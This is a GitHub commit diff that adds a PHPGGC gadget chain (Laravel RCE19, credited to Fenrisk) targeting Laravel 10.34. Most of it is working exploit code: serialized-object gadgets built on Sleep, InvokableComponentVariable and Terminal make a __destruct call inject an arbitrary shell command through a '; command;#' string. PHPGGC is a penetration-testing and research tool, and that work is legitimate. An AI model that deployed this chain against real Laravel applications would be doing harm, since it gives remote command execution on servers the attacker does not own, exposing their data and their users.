File tree Expand file tree Collapse file tree 2 files changed +57
-0
lines changed
gadgetchains/Laravel/RCE/19 Expand file tree Collapse file tree 2 files changed +57
-0
lines changed Original file line number Diff line number Diff line change 1+ <?php
2+
3+ namespace GadgetChain \Laravel ;
4+
5+ class RCE19 extends \PHPGGC \GadgetChain \RCE \Command
6+ {
7+ public static $ version = '10.34 ' ;
8+ public static $ vector = '__destruct ' ;
9+ public static $ author = 'Fenrisk (Maxime Rinaudo) ' ;
10+ public static $ information = '' ;
11+
12+ public function generate (array $ parameters )
13+ {
14+ $ command = $ parameters ['command ' ];
15+
16+ return new \Illuminate \Support \Sleep ($ command );
17+ }
18+ }
Original file line number Diff line number Diff line change 1+ <?php
2+
3+ namespace Laravel \Prompts {
4+ class Terminal {
5+ public $ initialTtyMode ;
6+
7+ function __construct ($ command )
8+ {
9+ $ this ->initialTtyMode = "; " .$ command .";# " ;
10+ }
11+ }
12+ }
13+
14+ namespace Illuminate \View {
15+ class InvokableComponentVariable
16+ {
17+ public $ callable ;
18+
19+ function __construct ($ command )
20+ {
21+ $ this ->callable = array (new \Laravel \Prompts \Terminal ($ command ),'restoreTty ' );
22+ }
23+ }
24+ }
25+
26+ namespace Illuminate \Support {
27+ class Sleep
28+ {
29+ public $ shouldSleep ;
30+ public $ duration ;
31+
32+ function __construct ($ command )
33+ {
34+ $ this ->shouldSleep = true ;
35+ $ this ->duration = new \Illuminate \View \InvokableComponentVariable ($ command );
36+ }
37+ }
38+ }
39+
You can’t perform that action at this time.
0 commit comments